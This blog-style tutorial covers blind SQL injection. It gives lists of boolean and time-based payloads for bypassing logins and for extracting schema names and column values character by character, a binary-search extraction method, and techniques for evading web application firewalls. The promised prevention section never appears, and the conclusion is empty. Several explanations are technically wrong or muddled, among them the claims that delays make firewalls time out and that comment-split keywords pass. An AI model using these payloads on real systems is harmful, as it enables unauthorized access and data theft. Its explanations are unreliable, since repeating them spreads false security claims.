Advanced SQL Injection Attack (SQLi) | Blind SQL Injection And Prevention

What is SQL Injection?

SQL is a programming language that serves the purpose of modifying or querying data stored within a database. SQL injection is a type of vulnerability that occurs when an attacker can inject malicious SQL code into a web application's input fields. If the application is not properly secured, the attacker can manipulate the SQL queries executed by the application, potentially allowing them to access sensitive data, modify or delete data, or even take control of the entire database.

There are several types of SQL injection attacks, including basic SQL injection, blind SQL injection, and out-of-band SQL injection.

In this blog, we'll discuss advanced SQL injection techniques that utilize blind methods. If you're interested in learning more about other types of SQL injection attacks and their practical applications, be sure to check out our blog at SQL Injection Attack (SQLi) | SQL Injection Prevention | SQL Injection Cheat Sheet [Practical Demo]

What is Blind SQL Injection?

Blind SQL injection is a type of SQL injection that does not return any visible result. In other words, the attacker cannot directly see the results of their injected SQL query. This type of attack is particularly challenging to detect and prevent, as the attacker has to rely on various techniques to extract information from the database.

Types of Blind SQL Injection Attacks

Blind SQL Injection attacks can be divided into two categories: Time-Based Blind SQL Injection and Boolean-Based Blind SQL Injection.

Time-Based Blind SQL Injection

One way to execute a blind SQL injection is by using a time-based technique. The attacker can inject a SQL query that contains a delay, such as "WAITFOR DELAY '00:00:05'" (which will pause the query execution for 5 seconds). If the application's response time increases by 5 seconds, the attacker can conclude that their injected query was successful.

Boolean-Based Blind SQL Injection

Another technique is Boolean-based blind SQL injection. The attacker can inject a SQL query that contains a Boolean expression, such as "AND 1=1" or "AND 1=2". If the application behaves differently (such as returning an error message or displaying different content) based on the result of the Boolean expression, the attacker can infer information about the database.

In short, Time-Based Blind SQL Injection involves injecting SQL code that forces the application to wait for a specific amount of time before responding, while Boolean-Based Blind SQL Injection uses Boolean expressions to check if a certain condition is true or false. Attackers often use such techniques, when they don't expect the output but only want to analyze the database behaviour.

Why is Blind SQL Injection Dangerous?

Blind SQL Injection attacks are particularly dangerous because they can allow attackers to gain access to sensitive data without being detected. If an attacker can successfully inject malicious SQL code into an application's database, they can potentially gain access to sensitive data such as usernames, passwords, credit card numbers, and other personal information.

Moreover, Blind SQL Injection attacks are often difficult to detect and prevent because they do not provide any visible feedback to the user. This means that an attacker can perform these attacks without raising any suspicion or triggering any security alarms.

How to Find Blind SQL Injection?

Blind SQL Injection attacks rely on a few key principles. First, an attacker needs to find a vulnerability in the application's input validation process. This can be done by identifying input fields that are vulnerable to SQL Injection attacks, such as login forms or search fields.

Once the attacker identifies a vulnerable input field, they can start injecting malicious SQL code into the input field. The goal of the attacker is to extract sensitive information from the application's database or perform unauthorized actions.

However, Blind SQL Injection attacks are more difficult to execute than traditional SQL Injection attacks because the application does not provide any visible feedback or errors. Instead, the attacker has to rely on other techniques to determine if their injection was successful.

Blind SQL Injection Cheat Sheet

Now we will see some most important and used SQL queries that are often used by attackers when performing SQL injection attacks on targets.

Boolean-Based Blind SQL Injection Payloads:

Now, let's take a look at some blind sql injection payloads.

Below are a few queries that are coming under Boolean-based blind SQLi. You can try each query to practice and see how it works and what it returns. for example let's suppose a website has a login page where a user enters their username and password. The SQL query used to authenticate the user might look something like this:

SELECT * FROM users WHERE username = '[username]' AND password = '[password]'

If an attacker injects the payload 'OR 1=1' into the password field, the resulting SQL query will look like this:

SELECT * FROM users WHERE username = '[username]' AND password = '' OR 1=1'

This query will return all the rows in the table, effectively bypassing the password check and allowing the attacker to log in as any user in the database, including the administrator.

here you can see some more payloads like that:

    ' or 1=1 --
    ' or 1=0 --
    ' or 'a'='a' --
    ' or 'a'='b' --
    ' or 1=1 and 'a'='a --
    ' or 1=0 and 'a'='b' --
    ' or sleep(5) --
    ' or benchmark(99999999,md5('test')) --

Blind SQL Injection Payloads for Retrieving Information:

Below queries will help to retrieve information from information schema. for example in ' or (select count(*) from [Table name]) = 10 -- , the attacker is attempting to modify the WHERE clause of an SQL query to always return a true condition, thereby bypassing any authentication or authorization checks that may be in place.

The payload achieves this by using a subquery to count the number of rows in a specified table and then comparing that count to a predetermined value, in this case, 10. If the count of rows is equal to 10, the payload will return a true condition, allowing the attacker to bypass any security measures.

Here's an example of how the payload might be used in an SQL injection attack:

Suppose a website has a search feature that allows users to search for products by name. The SQL query used to retrieve the products might look like this:

SELECT * FROM products WHERE name LIKE '%[search term]%'

If an attacker injects the payload 'OR (SELECT COUNT(*) FROM users) = 10 --' into the search term field, the resulting SQL query will look like this:

SELECT * FROM products WHERE name LIKE '%' OR (SELECT COUNT(*) FROM users) = 10 -- %'

The query will return all the products in the table, effectively bypassing the search functionality, because the payload will always evaluate to true regardless of the search term provided.

here you can see some more payloads like that:

    ' or (select count(*) from [Table name]) = 10 --
    ' or (select count(*) from [Table name] where [Column name]='admin' and [Column name]='admin') = 1 --
    ' or (select table_name from information_schema.tables where table_schema=database() limit 0,1)='[Table name]' --
    ' or (select column_name from information_schema.columns where table_name='[Table name]' limit 0,1)='[Column name]' --
    ' or (select group_concat(column_name) from information_schema.columns where table_name='[Table name]') --

Blind SQL Injection Payloads for Conditional Retrieval:

Below queries will help to retrieve information from database.

For example, suppose we have a web application with a search feature that allows users to search for products in a database. The application uses a SQL query to search for products based on user input.

The SQL query might look something like this:

SELECT * FROM products WHERE name LIKE '%input_query%' 

Now, let's say the attacker wants to test whether the application is vulnerable to SQL injection. They can use the SQL injection payload you provided, which looks like this:

' or (select case when (1=1) then 'true' else 'false' end) = 'true' --

SELECT * FROM products WHERE name LIKE '%'' or (select case when (1=1) then 'true' else 'false' end) = 'true' --%' 

In this modified query, the input_query is now %'' or (select case when (1=1) then 'true' else 'false' end) = 'true' --%, which includes the injected payload.

here you can see some more payloads like that:

    ' or (select case when (1=1) then 'true' else 'false' end) = 'true' --
    ' or (select case when (1=2) then 'true' else 'false' end) = 'false' --
    ' or (select case when (substring((select [Column name] from [Table name] limit 0,1),1,1)='a') then 'true' else 'false' end) = 'true' --

Blind SQL Injection Payloads for Enumerating Values:

Below queries will help to retrieve information from.....

for example,

Let's say we have a web application that allows users to search for products in a database using a search feature. The application uses a SQL query to search for products based on user input.

The SQL query might look something like this:

SELECT * FROM products WHERE name LIKE '%input_query%'

Now, let's say the attacker wants to test whether the application is vulnerable to SQL injection. They can use the SQL injection payload you provided, which looks like this:

' or (select ascii(substring((select [Column name] from [Table name] limit 0,1),1,1)))=97 --

SELECT * FROM products WHERE name LIKE '%'' or (select ascii(substring((select [Column name] from [Table name] limit 0,1),1,1)))=97 --%' 

In this modified query, the input_query is now %'' or (select ascii(substring((select [Column name] from [Table name] limit 0,1),1,1)))=97 --%, which includes the injected payload.

The purpose of this payload is to test whether the application is vulnerable to SQL injection. The injected code extracts the first character of a specified column in a specified table and checks whether it is equal to 'a'. If the application returns any results, the attacker knows that the SQL injection was successful.

    ' or (select ascii(substring((select [Column name] from [Table name] limit 0,1),1,1)))=97 --
    ' or (select length([Column name]) from [Table name] limit 0,1)=5 --
    ' or (select substring((select [Column name] from [Table name] limit 0,1),1,1)='a') --

Boolean-Based Advanced Exploitation Techniques (The Binary Search Method)

Now we will see how we can fasten the process of SQL injection with the help of the binary search method. and some Blind SQL Injection Payloads for it.

There are many methods to extract a single character from a specific column within a specified table in a SQL database. one of them is the binary search method.

The Binary Search Method is an advanced Blind SQL Injection exploitation technique that can be used to extract data from a database more quickly. This technique involves guessing the value of a character in a column and then using a binary search to refine the guess until the correct value is found.

Here's how the Binary Search Method works:

Guess the value of the first character in the column using a payload like this:

' or SUBSTRING((SELECT [column_name] FROM [table_name] LIMIT 1 OFFSET 0), 1, 1) > 'a'--

Let's say we have a web application that uses a SQL database to store user information. website is protected by firewall, which dosent allow web pages to display any sql output or error. The application has a login form that accepts a username and password, and the server-side code executes a SQL query to validate the user's credentials.

The SQL query might look something like this:

SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password' 

Now, let's say the attacker wants to extract a single character from the "password" column of the "users" table. and website have firewall. so, it will not display any output. They can use the SQL injection payload you provided, which looks like this:

' or SUBSTRING((SELECT [column_name] FROM [table_name] LIMIT 1 OFFSET 0), 1, 1) > 'a'-- 

SELECT * FROM users WHERE username = '' or SUBSTRING((SELECT [password] FROM [users] LIMIT 1 OFFSET 0), 1, 1) > 'a'--' AND password = 'input_password' 

• ' or : This is the beginning of the injected code, which will be executed as part of the SQL query.

• SUBSTRING((SELECT [password] FROM [users] LIMIT 1 OFFSET 0), 1, 1) : This is a subquery that selects the first character from the "password" column of the "users" table.

• > 'a'-- : This is a comparison operator that checks whether the first character of the password is greater than the character 'a'.

• ' : This is the end of the injected code, which closes the single quote that was opened at the beginning.

• The -- at the end of the payload is a comment, which tells the database to ignore everything after that point. This is important because it ensures that the rest of the query (which includes the original password input value) doesn't interfere with the injected code.

When the modified query is executed, the database will try to select the user with an empty username (because of the injected payload) and a password that has a first character greater than 'a'. If the password meets the condition, the query will return the user's information, and the attacker will know that the injection was successful. Otherwise, the query will not return any results, indicating that the injection failed.

If the application behaves differently when the guess is correct, then the guessed value is greater than the actual value. If the application behaves the same, then the guessed value is less than or equal to the actual value.

Based on the result of step 1, guess the value of the first character again, but this time using a binary search:

' or SUBSTRING((SELECT [column_name] FROM [table_name] LIMIT 1 OFFSET 0), 1, 1) > 'm'--

Repeat steps 1 and 2 until the correct value is found.

Bypassing WAFs (Web Application Firewalls) during Blind SQL Injection

Web Application Firewalls (WAFs) are security systems designed to protect web applications from attacks like SQL Injection. WAFs analyze incoming traffic to a web application and block any traffic that appears to be malicious. However, WAFs can be bypassed by attackers, especially during Blind SQL Injection attacks. Now, we will discuss how to bypass WAFs during Blind SQL Injection attacks.

Obfuscation

Obfuscation is a technique that can be used to bypass WAFs by disguising the SQL Injection payload as something else. Obfuscation can be used to avoid detection by WAFs that rely on signatures or regular expressions to detect SQL Injection.

Here are some obfuscation techniques that can be used to bypass WAFs:

• Hex Encoding: This technique involves encoding the SQL Injection payload in hexadecimal format. This can be used to bypass WAFs that look for specific strings or characters in the payload.
• Base64 Encoding: This technique involves encoding the SQL Injection payload in Base64 format. This can be used to bypass WAFs that look for specific strings or characters in the payload.
• Double URL Encoding: This technique involves encoding the SQL Injection payload twice in URL format. This can be used to bypass WAFs that look for specific strings or characters in the payload.

for more information and practical examples on this topic, you can read my previous blog's topic Internet Security Controls

Time-Based Techniques

Time-Based Techniques can be used to bypass WAFs that rely on signatures or regular expressions to detect SQL Injection. These techniques involve introducing time delays in the SQL Injection payload, which can cause the WAF to timeout and allow the payload to pass through.

Here are some Time-Based Techniques that can be used to bypass WAFs:

• Sleep(): This function can be used to introduce a delay in the query execution. The attacker can use this delay to bypass the WAF.
  For example,

  SELECT * FROM users WHERE username = 'admin' AND password = 'password' AND 1=IF(SLEEP(10),1,0) 

  In this example, the attacker is attempting to bypass a web application firewall (WAF) by introducing a delay in the query execution. The "Sleep()" function is used to cause the query to pause for 10 seconds before returning a response. The "IF()" function is used to evaluate whether the delay occurred (whether the query took longer than 10 seconds to execute). If the delay did occur, the "IF()" function returns a value of "1", which allows the query to proceed. If the delay did not occur, the "IF()" function returns a value of "0", which causes the query to fail.

• Waitfor Delay: This function can be used to introduce a delay in the query execution. The attacker can use this delay to bypass the WAF.
  For example,

  SELECT * FROM users WHERE username = 'admin' AND password = 'password' WAITFOR DELAY '0:0:10' 

  In this example, the attacker is again attempting to bypass a web application firewall (WAF) by introducing a delay in the query execution. The "WAITFOR DELAY" function is used to cause the query to pause for 10 seconds before returning a response. The query selects all records from the "users" table where the username is "admin" and the password is "password".

Fragmentation

Fragmentation is a technique that can be used to bypass WAFs that look for specific strings or characters in the SQL Injection payload. This technique involves splitting the SQL Injection payload into multiple parts and sending them separately to the web application.

Here's how Fragmentation can be used to bypass WAFs:

• Split the SQL Injection payload into multiple parts, such as "UNI" and "ON SE" for "UNION SELECT".
• Send each part separately to the web application.
• The WAF will not be able to detect the SQL Injection payload because it is split into multiple parts.
  For example,

  SELECT * FROM users WHERE username = 'admin' AND password = 'password' UNION SEL/*Payload Split*/ECT column1, column2 FROM users WHERE username = 'admin' AND '1'='1' 

  In this example, the attacker is attempting to inject a UNION SELECT statement into the query by splitting the payload into multiple parts. The "SEL" and "ECT" parts of the payload are separated by a comment, which allows the injection to bypass certain security measures that look for specific strings or patterns in the query.

Conclusion